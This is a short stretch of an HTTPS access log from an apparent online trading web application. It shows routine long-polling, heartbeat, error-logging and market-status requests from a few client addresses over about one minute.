[09/Jan/2026:15:39:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944644419 HTTP/1.1" -
[09/Jan/2026:15:39:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944644890 HTTP/1.1" -
[09/Jan/2026:15:39:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944660486 HTTP/1.1" -
[09/Jan/2026:15:39:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944646980 HTTP/1.1" -
[09/Jan/2026:15:39:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944647587 HTTP/1.1" -
[09/Jan/2026:15:39:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944649442 HTTP/1.1" -
[09/Jan/2026:15:39:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944665818 HTTP/1.1" -
[09/Jan/2026:15:39:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944650883 HTTP/1.1" -
[09/Jan/2026:15:39:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944652017 HTTP/1.1" -
[09/Jan/2026:15:39:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944652669 HTTP/1.1" -
[09/Jan/2026:15:39:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944654462 HTTP/1.1" -
[09/Jan/2026:15:39:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944670898 HTTP/1.1" -
[09/Jan/2026:15:39:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944656894 HTTP/1.1" -
[09/Jan/2026:15:39:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944657063 HTTP/1.1" -
[09/Jan/2026:15:39:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944657819 HTTP/1.1" -
[09/Jan/2026:15:39:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944659486 HTTP/1.1" -
[09/Jan/2026:15:39:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944675929 HTTP/1.1" -
[09/Jan/2026:15:39:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944662091 HTTP/1.1" -
[09/Jan/2026:15:39:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944662890 HTTP/1.1" -
[09/Jan/2026:15:39:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944662958 HTTP/1.1" -
[09/Jan/2026:15:39:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944664506 HTTP/1.1" -
[09/Jan/2026:15:39:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944680955 HTTP/1.1" -
[09/Jan/2026:15:39:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944667194 HTTP/1.1" -
[09/Jan/2026:15:39:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:39:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:39:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:39:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944668083 HTTP/1.1" -
[09/Jan/2026:15:39:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944668884 HTTP/1.1" -
[09/Jan/2026:15:40:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944669537 HTTP/1.1" -
[09/Jan/2026:15:40:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944685989 HTTP/1.1" -
[09/Jan/2026:15:40:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944672231 HTTP/1.1" -
[09/Jan/2026:15:40:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:40:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944673139 HTTP/1.1" -
[09/Jan/2026:15:40:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944674888 HTTP/1.1" -
[09/Jan/2026:15:40:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944674562 HTTP/1.1" -
[09/Jan/2026:15:40:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944691049 HTTP/1.1" -
[09/Jan/2026:15:40:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:40:07 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944677287 HTTP/1.1" -
[09/Jan/2026:15:40:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:40:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944678420 HTTP/1.1" -
[09/Jan/2026:15:40:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944679606 HTTP/1.1" -
[09/Jan/2026:15:40:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944680879 HTTP/1.1" -
[09/Jan/2026:15:40:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944696372 HTTP/1.1" -
[09/Jan/2026:15:40:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944682322 HTTP/1.1" -
[09/Jan/2026:15:40:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:40:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:40:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944683490 HTTP/1.1" -
[09/Jan/2026:15:40:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944684625 HTTP/1.1" -
[09/Jan/2026:15:40:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944686881 HTTP/1.1" -
[09/Jan/2026:15:40:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944702185 HTTP/1.1" -
[09/Jan/2026:15:40:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944687364 HTTP/1.1" -
[09/Jan/2026:15:40:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944688647 HTTP/1.1" -
[09/Jan/2026:15:40:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944689681 HTTP/1.1" -
[09/Jan/2026:15:40:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944692402 HTTP/1.1" -
[09/Jan/2026:15:40:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944692881 HTTP/1.1" -
[09/Jan/2026:15:40:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944693830 HTTP/1.1" -
[09/Jan/2026:15:40:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944694713 HTTP/1.1" -
[09/Jan/2026:15:40:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944697490 HTTP/1.1" -
[09/Jan/2026:15:40:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:40:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:40:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:40:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944698885 HTTP/1.1" -
[09/Jan/2026:15:40:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944698972 HTTP/1.1" -
[09/Jan/2026:15:40:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944699758 HTTP/1.1" -
[09/Jan/2026:15:40:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:40:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:40:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944702556 HTTP/1.1" -
[09/Jan/2026:15:40:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944704887 HTTP/1.1" -
[09/Jan/2026:15:40:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944704038 HTTP/1.1" -
[09/Jan/2026:15:40:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944704783 HTTP/1.1" -
